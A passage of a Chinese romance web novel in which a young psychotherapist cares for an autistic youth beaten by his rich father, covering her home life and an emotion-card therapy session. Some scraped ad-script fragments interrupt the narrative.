夏初浅踏进卧室时,窗帘紧闭,卧室的吸顶灯亮着。 喜欢靠在墙角的少年,此刻,被拉扯到了床尾空旷的空间,他身下坐着的乳白色羊绒小地毯皱皱巴巴,新鲜血迹和绒毛黏糊在一起。 衬衣在挣扎的过程中被扯开,他的身体就这样赤裸裸地展现在夏初浅面前—— 宛若一副歇斯底里的疯狂画作。 白得透明的皮肤是纸张,大大小小的伤痕则是涂鸦印记。 她局促地呆视他,胸口兀自难受:“小染……” 真狠啊,秋许明! 对自己的亲儿子都毫不手软! 门口站着两位穿黑衣的保镖,上前去搀扶秋末染,想把他扶到床上去休息。 秋末染十分抗拒地推开他们,残留的疼痛牵扯他的鼻翼在不经意间颤动。 夏初浅也被拒绝了。 最后,是六十多岁的刘世培俯身,把秋末染的胳膊搭上自己的肩膀,颤巍巍地架着秋末染送到床上。 他心里有界限。 刘世培是位于他安全地带的人。 发现刘世培貌似没有送秋末染去医院的想法,夏初浅不解:“刘管家,不需要送小染去医院吗?” “我们有私人医生,已经联系了,正在赶来的路上。” “嗯,那就好。” 有钱人的生活离夏初浅有点遥远,原来真的有电视剧里演得那种为坏蛋埋单的私人医生啊,也是,秋许明一定不想自己对亲儿子的暴行被太多人知道…… 秋许明藏得很好。 好到连过往的诊断记录都没提到过。 * 等私人医生来的空档,夏初浅蹲下,把那块云朵般的羊绒小地毯铺平,挪到它该摆放的位置,用湿巾擦拭血渍。 “夏医生,交给佣人做就好,不劳您脏手。”刘世培打断她,他手托后腰才直起了身子,显然刚才扶得很吃力,好在伤痕累累的小少爷乖乖躺下了。 “嗯,好的。”夏初浅看着晕开的血污,湿巾确实擦不净,还是交给专业的人来处理吧。 她站起来,目光投向躺在床上的秋末染。 他双眸紧闭,面色如纸,呼吸声轻一声重一声。 一边的膝盖高高耸起肿得像馒头,嘴角和眼角都破皮,右眼的泪痣被血覆盖,变成一颗血滴。 不忍再看,夏初浅撇开头。 她指腹搓了搓下眼睑,那里隐隐潮湿。 * 秋末染的私人医生是位名叫钟渊的年轻男人,毕业于头部常春藤大学的脑神经外科专业,青年才俊,现在一边做私医,一边攻读博士学位。 夏初浅和他打了个照面。 钟渊衬衫西装裤皮鞋一丝不苟,身材高挑匀称,一看平时注重健身,戴副眼镜,眉眼冷漠锐利,一副天之骄子生人勿进的高冷样。 他拎着医药箱走进卧室,夏初浅和刘世培便退了出来。 走廊有穿堂风拂过耳畔,窗外繁茂的银杏叶比一个月前更添金秋韵味。 夏初浅背靠窗台,郑重地直视刘世培的双眼:“刘管家,秋许明对秋末染实施家庭暴力,这么重要的信息为什么不告诉我呢?之前的心理医生知道吗?” 小姑娘很困恼,也很气愤。 见过风浪的刘世培当然不会被夏初浅吓住。 他抚平起褶的衬衫,自若答:“夏医生,一般医生在听到我说取消当日治疗,就自行离开了,只有你坚持要进来。秋先生也不是每次回来都动手……” 说到这里,刘世培面露悲戚。 “可是动手一次就足够在秋末染心里留下阴影了!”夏初浅握住拳头,不自觉音量扩大,“如果真想秋末染好起来,就停止这种恶劣的行为!” 刘世培认同,但有些事他无能为力:“秋先生不太喜欢少爷。” 夏初浅:“……” 什么话啊?! 夏初浅难以理解。 不喜欢自己的儿子还不放弃地找心理医生给他看病,还雇佣管家保姆司机妥帖伺候着,还给他创造环境如此闲适优美的住所让他疗养? 说喜欢那更扯淡了。 稍稍静下心来,夏初浅想到,许多家庭中,父亲和儿子的相处模式很拧巴,父亲爱儿子,但揍儿子的行为也屡见不鲜,但前提得有个被揍的理由吧。 夏初浅问:“秋末染做了什么错事吗?” 叹口气,刘世培的答案尽显残忍:“少爷一天天把自己关在屋子里,哪里有可能犯错?” “或许,秋先生气就气在秋末染闭门不出?不交流,不说话,迟迟没有好转?” 刘世培也捉摸不透,无奈地摇摇头,叹道:“我不知情,不敢妄加揣测。” * 半小时后,钟渊出来了。 给刘世培叮嘱了一些注意事项后,钟渊眼神轻飘飘地在夏初浅身上草草落脚,都没打算认下这张脸,因为过不了几天,就换新的治疗师了。 夏初浅倒是认真记住了钟渊,悲观估计以后还会见面的,这个给阎王善后的冷面鬼。 秋末染现在需要人来安抚他的情绪,想着,夏初浅给刘世培说了声,就推门进去了。 深灰色绒布窗帘拉向两旁,屋内窗明敞亮。 被笼在秋日阳光中的少年盘腿坐在床上,换了身干净的衣服,浅米色衬衣暖洋洋。 他脚踝和右手缠着白花花的绷带,走近些,镇痛药膏的气味扑鼻而来。 许是疼痛分散了他的注意力,一向对开门声敏感的他,彼时,竟没发觉房间里还有别人。 直到夏初浅走近,他才恍然警觉。 “小染,是我。”夏初浅在床边坐下,嘴角微扬,神色和语气都不带一点点攻击性。 少年嘴角和眼角上了药,小脸挂彩,竟比平时面无表情的模样看起来生动。 夏初浅难掩心疼:“你还好吗?” 秋末染无声眨眼:“……” “很疼吧?” “……” 两人对视几秒。 秋末染眸子一动不动地落在夏初浅脸上,突然,他抬起手臂,手伸过来…… 夏初浅下意识地后缩脖子,闭眼躲开。 说不忌惮是假的。 如若按安雅的“小魔王”的传言,秋末染把秋许明给他的伤害泄愤到她一个弱女子身上完全有可能,抡她一拳都算她轻伤。 但预想中的攻击没有到来。 相反,下眼睑被人轻柔地划擦…… 夏初浅呆愣,睁开双眼。 面前,少年只是用没受伤的左手手指蹭她的眼下。 蹭了几下越擦越脏,他才发现自己手上有灰尘,停手,下唇微微撅起,显得有些泄气。 他把新衬衣当纸巾抹,抹得还算干净了,再擦擦她的眼。 他没有恶意。 甚至单纯得像个小孩。 夏初浅想起,她前面擦小地毯上的血后揉了眼睛,可能沾到脏东西了…… “小染,谢谢你!”夏初浅又惊又喜。 这是不是说明,她走近了他的安全地带? “我呢,一向是个知恩图报的人,小染的这份好意,我怎么能不还给你?”这是一个试探他的良好契机,她自然不会放过,她对他轻轻摇摆自己干洁的手掌,“小染,你的脸也脏了,我帮你擦擦吧?” 他眨眨眼,不晓得听没听懂。 她尝试着缓缓靠近他的脸颊。 一寸一寸。 近在咫尺。 直到她的手掌即将贴在他的肌肤上时…… 他嗖地偏头避开。 夏初浅讪讪然:“……” 好吧,她还在他的安全线外徘徊。 双标的小孩,只许他摸,不许她摸! 秋末染感受不到夏初浅的怨气,他惯性环抱起自己,下巴抵上双膝盯着她看。 他第一次跟她对视这么久。 平时他要么对她视而不见,要么扫她两眼就沉浸在自己的世界里闭关锁眼。 明如清泉的双眸还带一丝显而易见的疑惑,似乎在疑问她怎么没被吓走。 “好啦,今天的治疗还可以进行吗?”见少年点点头,夏初浅翻开他的绘图本,她终于有底气碰他的本子了,“小染,你为什么画迷宫呀?” 她发自心底好奇。 自闭症体系很复杂,智力水平的高低因人而异。 有些很不幸成为了“低能儿”,生活无法自理,连最基础的吃喝拉撒都做不到;有些无限接近于普通人,偶尔暴露出缺陷;还有极个别的,在某些领域具有天下无双的天赋,让人叹为观止到仿佛目睹天神下凡。 这些特殊才能中,比较常见于机械记忆、工程、数学、科学、美术领域。 夏初浅看秋末染画迷宫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看了一个月了。 她不好定义他这算不算某种过人之处? 算的话,又算在哪个领域? 秋末染不作答,他拿过绘图本,翻到空白一页,手捏铅笔,唰唰地勾勾画画。 夏初浅凑上前观察。 病情记录提及了秋末染画迷宫这件事。 有前辈推测迷宫图是他内心的写照,越复杂,即象征着他陷入自己的内心世界越深。 他今天画的和平时的看不出什么差别,夏初浅还以为他们今天的关系拉近了些,他能从自己的世界稍稍抽离一些些,呈现的笔触会简洁一点。 想着,她目光落向他的脸。 日光偏斜,更钟爱少年的那一边。 他周身镀上淡金色,作图的左手被秋阳亲吻,神色清明,丝毫看不出方才被父亲痛揍过。 夏初浅觉得秋末染不悲不伤真的很神奇,转瞬,她意识到他的平静或许来源于“习惯了”。 心头蓦然分外沉重,夹杂密密匝匝的疼,夏初浅的手放在左心房上面的衣服布料打圈。 她还是太嫩了。 太有同理心和共情能力,对心理治疗师来说是好事,更是“自虐行为”。 “小染,你的图画本能让我拍个照吗?”她柔声问,想治疗结束详细研究一下。 他给了她这一个月来第一次正向的回应。 从迷宫图中抽出视线,他抬眸,清清亮亮的眼睛与她对视,修长的手指轻轻往前推,点了点头。 ——好。 * 夏初浅回到家时,已接近七点。 哄闹的街边多了出夜摊的小商贩,人声更为嘈杂。 老旧的水泥地裂缝遍布,汪着店家倒出来的污水,还有炸物小吃的油渍蘸料渗入其中,深一块,浅一块。 店铺招牌在日复一日的日晒下褪了色,有几家的店名还掉了几笔笔画。 热闹又略显腌臜的市井烟火气。 “我回来了。”夏初浅挎着帆布包,掀开门帘进入店内,跟柜台前正在修理指甲的李小萍打招呼。 “浅浅回来了。”李小萍闻声抬头,第一反应便是用眼睛去读店门口的木质挂钟。 动作迅速且隐晦。 但在同一屋檐下生活了十数年,夏初浅对李小萍了解得透彻。 她用唠嗑般闲适的语气解释:“李阿姨,今天领导给我安排了新工作。前期需要准备的东西有好多好多,要不是肚子饿了,我差点忘记下班了。” 撒了个小谎。 其实是秋末染受伤导致她回来晚了。 李小萍眸色中闪过一瞬的怀疑,又用笑容掩饰过去。 边捏着磨甲棒左搓搓右磨磨,李小萍边嘱咐:“浅浅,菜我买好了,你看着随便炒两个菜吧,我在下面看店。” “嗯,好的。” 这是一栋二层小楼,一楼是李小萍的花店“香花坊”和仓库,二楼是起居室。 夏初浅入住后,李小萍隔出客厅的一部分空间给她当卧室用。 花店是李家主要的经济来源。 李小萍开店十几年,有口皆碑,附近的几家小酒店每逢节日婚庆便来大量订花。 有稳定的客源,日子算不上丰衣足食,也没有过得捉襟见肘紧巴巴。 夏初浅先回卧室换了衣服,然后来到厨房洗菜炒菜,炒好菜,将菜分了三份。 其中一份米饭打底,上盖热气腾腾的喷香浇头,夏初浅端着碗筷送去一楼:“李阿姨,吃饭了。” “哎呦,香的嘞!”李小萍嗅嗅,笑呵呵接过碗来,“我们浅浅真贤惠,谁以后娶了你啊,当真有福气!” 自懂事以后,每每听到这句话夏初浅心头都反射性地震颤。 她面上波澜不惊:“哪里的话!味道比起李阿姨做的,还差得远呢。” 李小萍拉了几句家常,催夏初浅赶快上楼吃饭,饭别冷了,她翘着二郎腿,单手捧碗,打开肥皂剧下饭。 夏初浅迈步往上走。 这时,李小萍状似无意地低声说:“以后早点回家,现在都电脑办公,没必要非守在单位。你一个女孩子家家的,回晚了我们也担心。” 她眼睛盯着手机屏幕,说完还扒拉了口菜,似乎刚才的话不是对夏初浅说的,而是在自言自语吐槽剧情。 “嗯。” 应了声,夏初浅快步跑上楼。 5. 破冰 吃完饭,夏初浅洗了锅碗后回到自己的卧室。 不足十平米的小房间,一张单人床和一套小桌椅就是全部的家具,墙上装了根简易衣架,挂几件当季的衣裤,其他衣服全部塞在床下。 床上,贴墙的一边靠立几只毛绒玩偶。 九月末,C城昼夜温差大。 湿冷的秋风从密封不严实的窗户灌进来,她坐在桌边,加了件外套。 那扇窗户最近坏了,总关不严实,窗扇晃悠悠的仿佛再大点力气就要掉下去。 几十年的老房子,和人一样,年纪大了哪都是病。 夏初浅没好意思麻烦李小萍修缮,因为估计需要换新的窗框,这一换,客厅的整个窗户都得一并换了,她的房间本就是客厅隔出来的,窗是一体的。 她自己修又没钱。 她成年后的学杂生活费都由自己打工承担,平时的生活够捉襟见肘,换窗户少说也要大几千。 天气转凉,再拖也不是办法,她打算过两天等气温再降一些了给李小萍提一嘴,有点后悔当初没要求秋家按月发薪,而是一期一结,一期三个月。 夏初浅脚踩在椅子上,开一盏蛋壳造型的小台灯,在旧笔记本电脑上查看新闻。 电脑是董童淘汰的,她捡来了,十二年前的老古董,又大又沉又厚重,还常常死机。 手指滑动页面,没有一条有关于秋许明家庭暴力的报道,全网搜不到秋末染的任何信息,可写秋家是牛鬼蛇神的帖子倒是又看了不少。 什么不能干,秋许明就干什么。 妥妥把法律底线碾踩在脚下的活阎王。 对此夏初浅半信半疑,毕竟媒体有时候为了流量什么没底线的话都说得出来。 正看着,房门被推开。 门口的男人刚回家,还没摘下鸭舌帽,帽檐下一双阴郁无光的眼睛让人看了背如蚁爬。 他身材瘦高,裤兜里露出黑色口罩的一截,帽子和口罩是他出门的必需品,虽然他很少出门。 是董童。 “你回来啦。”夏初浅笑容亲切,指门外的冰箱,“阿童,晚饭我留在冰箱里了,你用微波炉热一下。热三分钟,隔热手套在橱柜二层的抽屉里,小心烫。” “哦。”董童神色漠然。 借着暗黄的光,他低睨夏初浅。 她皮肤光洁如瓷,细看五官挺出挑,但往下看,一身洗到发白脱线的“妈妈桑”睡衣,N多年前流行的大红牡丹,比李小萍打扮得还老气。 他今年二十五,见过的同龄女生恨不得把自己从头到脚到手指甲缝都武装得完美漂亮,夏初浅却只捡不适合她的穿,没有一点品味和审美。 一抹冷笑浮上他的唇角。 挺好,和他都是丑货。 董童离开前,夏初浅看着他不卑不亢地问:“阿童,你下次进来可以先敲门吗? 不悦之色攀上董童的脸,他冷声答:“知道了。” 他转身,斑驳的疤痕从右侧面颊蔓延到后脖颈。 即便光线昏暗,也看得出那一块皮肤颜色不一。 右耳没有幸免于难,在那年的意外中被开水烫熟了,熟成了一朵肉色木耳,几乎看不出耳朵的形状。 门重新关上。 隔出来的房间隔音较差,夏初浅听到屋外有冰箱开关的声音,董童按照她说的去吃饭了。 收回注意力,她继续搜索新闻。 很奇怪,秋末染貌似被秋许明隐藏起来了,就像被藏匿在栅栏围拥的半山别墅,互联网上,“秋末染”这个名字完全是一块未开垦的秘密田地。 夏初浅猜测,或许除了秋家佣人、钟渊、“光明倾听者”诊所的心理医生之外,外界恐怕都不知道秋许明还有个患有自闭症的十九岁儿子。 保密工作做得很到位。 不难理解,泄密的人估计已经“头七”了。 暴力淫威之下,没人敢不听话。 当时和刘世培签合同时,条款中着重强调“乙方要保守甲方的治疗内容,不得向外泄露”。 心理疾病本就是私密之事,为了保护患者,心理医生理当三缄其口,就算不这么写,夏初浅也会守口如瓶。 查了半天一无所获,夏初浅放弃。 她拿起桌上的手机,翻看上午拍的迷宫照片。 横平竖直的简单线条构成一幅幅错综复杂的图案,有圆形、有方形、有不规则图形。 入口和出口都没有标注出来,回路和分叉众多,复杂难辨。 乍看之下,毫无规律可言,她指尖在手机屏上来回拨动,仔细辨别其中三张图的异同…… 眼都看花了,看不出太大的差别。 她仰起脖子使劲眨眨眼,对面的白墙上出现了影影绰绰黑白迷宫的线条,是余晖效应。 她压了压酸困的眼球。 夏初浅对于“迷宫”的认知,更多停留在这是一款益智休闲小游戏。 用于孩童的智力开发,提高空间想象力和方向感;有时,被运用到心理治疗上,比如帮助多动症患者延长注意力,或是帮助焦虑症患者解压。 她拿了只铅笔,选一张迷宫,试着找一找出路。 画了将近半个小时,还没找到出入口到底是哪两个! “哇……” 低叹一声,夏初浅往椅背上一靠,满眼飘着纵横联通的线,心中有些不可思议。 这一个月,她没太在秋末染画的迷宫上下功夫。 一来,那个本子他宝贝得很,不让她碰;二来,自闭症患者大多有刻板行为,有的人看风扇转圈能看一天,并不是苦心钻研风扇的运作原理,就是单纯的看,仅此而已。 因此,夏初浅觉得秋末染也只是单纯地画罢了。 她端起手机,半眯眼帘,脑袋左歪一下右晃一下,又细细看几分钟,放下了手机。 或许那男孩就是随便画的,没有出入口,没有通路,一堆线条胡乱连在一起罢了。 目前可知:【笔下的图形混杂繁乱,代表内心迷了路,找不到连接外界的出口。面对家庭暴力存在应激反应,尚不确定心理创伤是否与家暴相关。无语言交流,但破冰。】 翻开病历记录,夏初浅写下了上面的这段。 “叮——” 消息提示音响起。 墨夜愈深,九点多了。 夏初浅抬眼瞄去,是徐庆河的微信语音,她赶忙放下笔,解锁手机去听。 她在回程的大巴上就给徐庆河发了消息,把秋许明家暴的事情汇报给了徐庆河。 徐庆河是她的督导、是领导,这种没记录在册的情况他理应知情。 “嗯,我了解。”徐庆河叹气,“但我无能为力,这不是我们能管控的。” 的确,这不同于普通家庭的家暴,可以申请政府援助,夏初浅紧握手机,无力感油然而生。 又一条语音过来,徐庆河关切:“小夏,你有没有被波及?有没有受伤?” “没有,我很好,徐教授。” “那就好。小夏,你还愿意继续吗?” 那张明净无暇的脸庞在夏初浅脑海浮现而过。 按年龄算,他刚满十九岁,不算少年了,但由内而外洋溢着不沾尘俗的少年质感,还掺点稚子质朴的心性,虽然不说话也不怎么理人,但不惹人生厌。 想起他今天头一次给她明确的回应,还给她擦眼睛,笑意包围她的唇畔。 她不假思索地答:“嗯,徐教授,我愿意继续。” 睡前,李小萍端一杯热牛奶给夏初浅助眠,又送一杯去了董童的卧室,像母亲疼爱两个孩子。 但只有董童是她亲生的。 夏初浅道了谢,喝完牛奶去厨房洗杯子。 回房间路过了董童的卧室,她听见董童给李小萍说他要换最新款的手机,大半年前才买的,又要换,他上个月还添了一套打游戏的电脑装备。 李小萍对董童的要求从来不评估合不合理,只要儿子开口,星星也得摘下来。 心里默默叹息,夏初浅回房睡觉。 躺上床,她看了眼自己的手机。 手机是上大一那年李小萍给新买的,实在犟不过,只得收下,之前她都用李小萍和董童的旧手机。 倒不是李家苛待她,该给的李小萍都愿意给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,是她不想再多拿李家的东西。 夜风在城市上空呼啸盘旋,秋雨淅淅沥沥与风共舞,舞晕了,撞上千家万户的玻璃窗。 夏初浅裹紧被子,见缝插针的凉意往屋里钻。 有点冷了。 * 下午,夏初浅准时到达秋家。 自闭症患者喜静,别墅的佣人不多,夏初浅从大门走来跟他们一一打招呼问好,大家各司其职,行为如常,仿佛昨天的暴行根本没发生过。 来到走廊尽头的那间房,她礼节性扣门:“小染,我来啦!” 怕秋末染以为外面又是秋许明,她这次喊得很大声。 里面一片沉静。 夏初浅习以为常了,自顾自推开了门。 左半扇窗帘拉开,房间半明半暗,阳光倾泻在床尾,半卧在床上的少年在阴影里垂眸自处。 夏初浅欣喜,今天小少爷主动见光了。 他屈膝背靠床头,身后垫着枕头,绘画本搁在膝盖上,左手握铅笔,笔尖在纸上走走停停。 膝盖和脚腕还肿着,拿腿当桌子支不稳,他不在意,就这样东倒西歪地沉浸其中。 其实她不用出声他也知道来者是她。 每天下午三点,都是她的专属时间。 夏初浅走过去,把帆布包放在地板上,包里装着今天治疗用到的道具。 她没急着切入主题,先看了看他的伤情。 缠着绷带的右臂已经换成大号创口贴,破了的嘴角和眼角都已结痂,年轻就是自愈能力强! 她轻柔地关心道:“伤口还疼吗?” 他乖乖地摇头,虽然看都没看她。 “等下我们治疗的时候,你要是不舒服了,随时示意我,拍拍床单、敲敲床头柜都行,让我知道。好吗?” 少年捣捣脑袋,手一滑,这一笔出界。 他眉间浮起淡淡的苦恼,虔诚得好像把心爱之物弄脏了,那模样惹得夏初浅差点憋不住笑。 “给你,橡皮。” 夏初浅找出一块橡皮擦递给秋末染。 他接过来,擦去多余的部分后利落地画着闭合回路,像机器执行程序迅速完成了一个迷宫。 夏初浅跪坐在床上,伸长脖子,凑到画本上空,一副层峦叠嶂的图映入眼帘。 没见过的样式,挺奇妙的! “小染,这真的有路可走吗?”夏初浅由衷地好奇。 闻言,秋末染下垂的长睫毛倏地立起来,一双水色幢幢的眼直落夏初浅的眸子。 两人头对头离得很近。 他瞳眸极致澄澈,那颗泪痣好似磁铁。 无需任何动作言语,便诱人乍见心欢。 夏初浅一屁股坐回床上,扣了扣脸颊:“……” 这小孩天然撩,等病好了回归校园、回归社会,不知要勾去多少女生的魂儿…… 秋末染没回应能还是不能,他捏着笔曲折拐弯几下子,双手举起画本比在脸前。 夏初浅定睛一看:“喔哦!” 还真是个迷宫啊! “那、那这张呢?”夏初浅想起昨晚研究了半个多小时的那副迷宫。 具体长什么样她当然记不住了,她在手机相册翻查那张是第几张,然后按顺序在画本上找到:“小染,这张呢?你能画路线给我看看吗?” 没应声,秋末染抬手在图上勾画,几秒钟后,一条描粗的通路展现于眼前。 他依然举起画本给她看。 夏初浅:“……” 她突然对自己的智商不自信了。 A4纸大小的本子将少年小巧的脸遮得严严实实,也阻挡了他的视线,眼前只有纸张细腻的纹理,夏初浅半天没吱声,他稍稍向右侧歪了歪脖子。 毛茸茸的深棕色头发先从牛皮本边边冒出来,淡而不疏的眉毛下面,一只琉璃般的右眼绽露。 只露出四分之一张脸。 他隐在暗处,瞳仁显得格外明亮。 夏初浅迎上他干净无辜的眼神,再一次被少年漂亮的眼睛惊艳到,她竖起大拇指。 ——好啦,我知道你挺聪明的了! 6. 表情 “好啦!迷宫先放一边,今天的任务要正式开始了。”夏初浅起身走到落地窗前,将两侧的绒布窗帘拉到底。 暗色迅速被挤走,光亮溢室。 半眯眸子的少年披上了一件薄薄的日光轻纱,虽心存不舍,他还是乖巧地放下绘画本,盘腿坐好。 夏初浅折回来,从帆布包里掏出两盒卡片。 这是心理治疗专用的“情绪脸谱纸牌”,两幅纸牌相同。 每张纸牌印有一个表情,或吃惊、或喜悦、或悲伤、或愤怒,总共52种情绪,涵盖得十分全面。 对于常人来说,识别图片上人物的表情轻而易举,几岁的小孩都做得到,但是自病症是神经系统出现障碍,影响了大脑在社交互动和沟通技巧领域的正常发育,表征之一便是对他人的情绪感知迟钝。 据这一个月的观察,秋末染感受得到别人的善意和恶意,但人类更细致细腻的一些情绪夏初浅不晓得他是否有所体会。 太多自闭症患者因为没有“眼力见”,在学校、在工作中被讨厌,她不想他被视为异类。 学会“察言观色”是合群的基础,表情是情绪的投影仪,如果他不会看人脸色,她必须教会他。 “锵锵——”夏初浅启封一盒纸牌,从左至右把花花绿绿的牌在床上罗列成一排。 她扬起脸庞,笑容灿若阳光:“小染,我们今天玩点不一样的。我来提问,你来猜猜看,哪个人的脸上是这种表情,好吗?” 秋末染探头瞅卡片:“……” 思忖一下,夏初浅从中挑出三张。 她把指令描述得更具体:“现在,我手里有三张卡片,这三张卡片上的人物表达了不同的情绪。那么请问小染,这三张中,哪一个表情才是真正开心的笑?” 一张微笑,一张苦笑,一张讥笑。 三个脸谱的唇都漾起轻微且相似的弧度。 成长过程中无师自通的常识:读懂他人的表情需要配合其他五官去看面部整体,但少年…… 显然被难住了。 他澄亮的眸子好似雨刮器在三张卡牌上胡乱地来回扫荡,目光聚焦在脸谱的下半部分。 不难看出,他一直在盯着嘴唇看。 渐渐,他眼神遁入空茫。 “停!”夏初浅打一个响指,及时把秋末染从怀疑人生的状态中解脱出来。 少年眸光回暖,眨眨眼肃清脑中的乱麻。 他膝盖打弯抱起自己,下巴抵在两膝之间的凹槽,打蔫的眼帘诉说沮丧。 瞧把孩子打击的…… 夏初浅暗暗责怪自己拔苗助长了。 留下“微笑”,她把其他两张卡丢回卡牌堆,再捡一张“愤怒”和一张“难过”出来。 她开折扇一样散开三张牌:“刚刚不算哦,游戏现在才开始!这三张里面,哪张是真正的开心呢?” 她凝视他的眼神里充满鼓励。 秋末染屏息凝神,眉头微微皱起,食指在三张卡片之间犹豫不决地反复穿梭,最终停在了“微笑”上。 一抹浅笑同步在夏初浅脸上浮现。 他想求证对错,便小心翼翼地抬眸与她对视。 光斑栖息在彩色卡牌上折射出多彩炫色,她向阳而坐,白净的脸庞被光清洗得远山如黛。 那满意的微笑,和卡牌上的表情重合。 秋末染:“……?” 下一秒,他手指右滑,更改了答案。 指尖逗留在代表“难过”的那一张牌上,他看着她晴朗的表情瞬间飘乌云。 秋末染:“……!” “不对哦,小染,这个是‘难过’。”到底是没什么实操经验的年轻菜鸟,刚燃起的期望小火苗熄灭了,夏初浅心态有点失衡,硬拉起的笑容显得苦涩。 她捏着卡片的右手收紧,指甲盖透出鱼肚白,左手在脸模面部比比划划,耐心指教:“小染你看,这个人她的嘴角下垂,眼角也微微下垂。我拿远一点你观察一下她的整张脸,她是不是看起来都快哭了?” 卡片在她的脸旁边,她呈现出同款表情。 少年若有所思的目光胶在她脸上,薄唇微张。 似乎不愿惹她哭鼻子,他拉住她的衣摆轻轻地拽,在她看过来时挑起唇角。 明明一张人畜无害的清纯脸,竟送了她一个似笑非笑的诡异“微笑”,莫名挑衅。 夏初浅滞愣:“……你笑什么呢?” 不好好听话,还嘲笑她! 她粉唇抿紧,蹙起的眉头下面是一双迷惑不解的杏眼,瞳仁里隐隐有火光窜动。 秋末染默默撤回手:“……” 这下,“愤怒”这张卡他也集齐了。 * 接下来的一小时,夏初浅细致入微地给秋末染挨个分析那52张表情卡片,教他一一识别。 光静态的不够,她还用自己的脸当动态道具。 少年的接受能力比她预想的高。 他方才都分不清“微笑”和“难过”呢,她还以为他的脑袋瓜真的是块没感情的石头。 “小染,我们再试一次好不好?”夏初浅再次找出“微笑”、“讥笑”和“苦笑”三张牌,检验秋末染的学习成果。 她晃一晃手中的卡片:“请问小染同学,这三张卡片,哪一张才是真正开心的笑呢?” 她眸光灼灼,看起来比他还紧张。 少年伸出修长的食指在三者间打转,他眉毛微压眼皮,显出些微的迷惘之色。 脑中自动播放夏初浅传授给他的要领:“小染,看表情不能只看某个五官,要整体统一看。实在看不出,你就就想一想我的脸是怎么做那个表情的……” 黑眸一瞬亮如星子,他自信地在中间那张卡上落下指尖,还点了两下。 “小染……”夏初浅放下举着的卡牌,神情严肃。 少年读懂她脸上的情绪,莫名,心口沉甸。 就在他以为自己一定是答错了之时,一声欢欣雀跃的欢呼响彻他的耳际:“答对啦!小染你太棒了!” 风铃般脆生生的笑接踵而来,十年来,这间屋子第一次听到如此快乐真挚的声音。 不是沙包大的拳头落在肉体凡胎上的闷响。 不是各怀心事的治疗师客套又拘谨的问话。 他也是啊。 第一次听。 屋内太过空旷,夏初浅大分贝笑声的余音久久旋绕,她赶紧捂住嘴巴,难为情地盯着秋末染看。 她好像笑得太大声了,少年面无表情,没有应激反应,万幸,没被她吓到…… 清了清嗓子,夏初浅收拢兴奋的心情,温柔可靠的知心小姐姐的人设不能倒。 她放下卡牌,举起双手,掌心面对秋末染,眉目缱绻温柔友善的笑意:“耶!击掌!” 这是增进互动的一次契机。 秋末染没有配合:“……” 他盘腿坐着,两手撑在身侧,左看一下,右看一下,最后视线穿过她的手掌落在她笑盈盈的脸。 夏初浅双手在虚空中握拳,放了下来。 没什么尴尬的,她语调轻柔地解释:“这是庆祝好消息、好结果的一种常见的方式。小染,下次有人对你做这个的动作,你可以试着用你的手掌去拍打对方的手掌,喜悦会传递。” “当然你不愿意也没关系,你不喜欢触碰别人、不喜欢别人触碰你,那你隔空比一个大拇指,别人也能懂,不会觉得被泼冷水,不会对你另眼相待。” 少年垂头,沉吟不语。 “我刚才假装严肃,是跟你开玩笑的。以后如果有人做了和我相似的事情,你先不要急着难过,事后明白了也不要急着生气,想着你怎么能骗我呢!玩笑,是大家日常生活中经常会有的互动,有恶意的,有善意的,以后我教你怎么分辨,我刚才那种就是善意的。” 少年接收了许多信息,比平时更安静。 “我们再玩一个游戏。”夏初浅打开另一盒情绪脸谱纸牌,将两盒牌打乱混合,“玩‘情绪宾果对对碰’,相同的情绪凑一对,谁先配完对谁就赢。” 趁热打铁,一鼓作气。 夏初浅介绍完规则,问:“小染,你听懂了吗?” 秋末染抬起清澈的眸子,默然颔首。 在52种表情里寻找出相同的一对儿,对当下的秋末染来说并非易事,不想挫他的积极性,所以,夏初浅不是放水了,她是“放海”了。 她慢悠悠地在一堆卡牌里摸索,打量着秋末染。 少年每每手指捻起一张,都要抬头看向她,他并不是在用目光寻求她的帮助。 他眼神在她脸上一寸寸精细描摹,似乎把她的脸作为了回忆什么的引子…… ……不好说到底是谁在观察谁。 玩着玩着,许是累了,少年眼神偶尔不聚焦。 * 游戏进行到一半,有人叩门。 “少爷,吃药了。”刘世培端一个青花瓷纹托盘进来,钟渊手拎医疗箱跟在其后。 盘面放一个小药盒,一杯温开水、一杯热气腾腾的玫瑰花茶和几样小点心。 秋末染每天需要服用营养品和抗癫痫的药物,他常年不出门不晒太阳,只能通过药补来加强体质。 今日刘世培端来的药盒里多了几粒消炎药,他接过药和温水,乖乖服下。 他身上的伤还处于炎症期,耽误不得。 钟渊打开医疗箱前,冷冷地掀起眼皮睨夏初浅一眼。 夏初浅知趣地往门口退:“小染、刘管家、钟医生,我去一趟洗手间,等下再进来。” 刘世培也随后出了房间,面容和善:“我也出去,换药有钟医生就够了。夏医生,我给您沏了玫瑰花茶,您等会儿趁热喝,配上点心一起吃。” “嗯,太谢谢您了。” 刘世培下楼去了,夏初浅在走廊上静候。 乌云不知何时占领了天际,黑压压的厚云中藏着闷雷,一道闪电霹雳烁亮,暴雨已至。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>雨水噼噼啪啪地敲打窗户,夏初浅向楼下望去。 正下方是一铺方形花园,面积不大,略显残败的红衰翠减被大雨冲刷得愈加凋零,几个佣人忽然带着塑料棚冲过去,罩住了整个小花园。 李小萍开花店的,夏初浅从小耳闻目染识得一些花类,那小花园里没有特别名贵的品种,没有风雨碰不得的娇骨朵,主人这般呵护,想必很爱惜了。 秋许明真是个迷啊。 她收回视线,转身,不经意看向楼梯口。 一楼和二楼她都来过了,三楼从未踏足,虽然好奇,但她是个懂规矩的女孩,不会上去的。 片时,钟渊出来,看见夏初浅便直直向她走来。 “夏小姐。” 短短三个字,口气不善。 果然,不等夏初浅回应,钟渊指责的话冷得像雨夹雪:“我没想到你居然不专业到连病人身体不适都发现不了。” “身体不适?”稍有愣神,夏初浅听明白了钟渊的话中所指,讶然道,“小染身体不舒服吗?是昨天的伤恶化了吗?他现在怎么样了?没事吧?” 冷笑声被一记惊雷掩盖,钟渊唇畔的弧度凉得刺眼。 